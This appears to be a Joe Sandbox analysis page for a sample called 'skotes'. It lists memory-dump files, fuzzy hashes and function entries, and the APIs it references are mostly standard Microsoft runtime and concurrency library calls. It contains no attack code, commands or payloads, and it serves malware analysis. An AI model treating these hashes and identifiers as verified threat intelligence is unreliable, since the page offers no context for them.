Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: fb8326b56033a6eef0910a16321e49826ba084da001df2bfdae8d370f69680f4
Instruction ID: e08108eece9fac8174b68ac8436bbc376ee2137db58091e51931639bb14e7793
Opcode Fuzzy Hash: fb8326b56033a6eef0910a16321e49826ba084da001df2bfdae8d370f69680f4
Instruction Fuzzy Hash: 4201A2717A2B616A9A352B7A6D1DF5F15C8CB52B40F0D15B4BD01E3291EAE0CC0186B1

Function 00C14C14 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00C14C98
__alloca_probe_16.LIBCMT ref: 00C14D5E
__freea.LIBCMT ref: 00C14DCA

Part of subcall function 00C0B04B: RtlAllocateHeap.NTDLL(00000000,845AEA34,?,?,00BED3FC,845AEA34,?,00BE7A8B,?,?,?,?,?,?,00BD7465,?), ref: 00C0B07D

__freea.LIBCMT ref: 00C14DD3
__freea.LIBCMT ref: 00C14DF6

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 5d7f92eb5cb744e111fee8db88dde66a011830216a76d59037eedd0849c20c9b
Instruction ID: 4a890a03ea529d1672c231481234823c634ab1f3a6644c4d6d3f7febf7d3a268
Opcode Fuzzy Hash: 5d7f92eb5cb744e111fee8db88dde66a011830216a76d59037eedd0849c20c9b
Instruction Fuzzy Hash: E251E572600206AFDF29AF65EC41EFB37A9DF82764F150269FD1497180EB30DD90B6A0

Function 00BFE8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 00BFE91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00BFE926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00BFE950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00BFE959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00BFE9DC

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: c6db6726a33a4e0c7065001f4f50f520799d950809c18a23ba4e4f5504f528e6
Instruction ID: 4fcfca873c3e517cfb690e37cd9747c97c5dd2ea442e4820319a19ab3dee4258
Opcode Fuzzy Hash: c6db6726a33a4e0c7065001f4f50f520799d950809c18a23ba4e4f5504f528e6
Instruction Fuzzy Hash: 08415E35A00219EFCB09DF64C454A7DB7F6FF88310F14819AE516A77A1CB74AE05CB90

Function 00BFD2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 00BFD344
ListArray.LIBCONCRT ref: 00BFD367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00BFD370
ListArray.LIBCONCRT ref: 00BFD3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00BFD3B3

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: 6dd1d60dac46bf475b742bbfb3948956aef34cbad96a9e4bcd08f08e1bc40fe5
Instruction ID: 952b37a8c36b197f88fc36d0fa924cc0592e55e01e8ffcf9f8a664f031cb8882
Opcode Fuzzy Hash: 6dd1d60dac46bf475b742bbfb3948956aef34cbad96a9e4bcd08f08e1bc40fe5
Instruction Fuzzy Hash: 7E31AE75700218AFCB15DB54C885BBDB7E6EF88300F1541D9EA069B392CB70AD49CB92

Function 00BF86C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00BF86EE

Part of subcall function 00BEEAD0: _SpinWait.LIBCONCRT ref: 00BEEAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00BF8702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00BF8734
List.LIBCMT ref: 00BF87B7
List.LIBCMT ref: 00BF87C6

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: aeeb031c7d256fb662b30992c469bd808281a18879bca96d0743a3214a301c97
Instruction ID: 4501c2b2b965feaee3dad6283a9e713b4e74811f8f245bc51a4518bc74395bf1
Opcode Fuzzy Hash: aeeb031c7d256fb662b30992c469bd808281a18879bca96d0743a3214a301c97
Instruction Fuzzy Hash: DB31463690169ADFCB14EFA4D5816FDB7F1BF04718F2400AAD6417B652CB31AD08CB95

Function 00C0182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00C018A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00C018EB

Strings

pContext, xrefs: 00C0189C

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
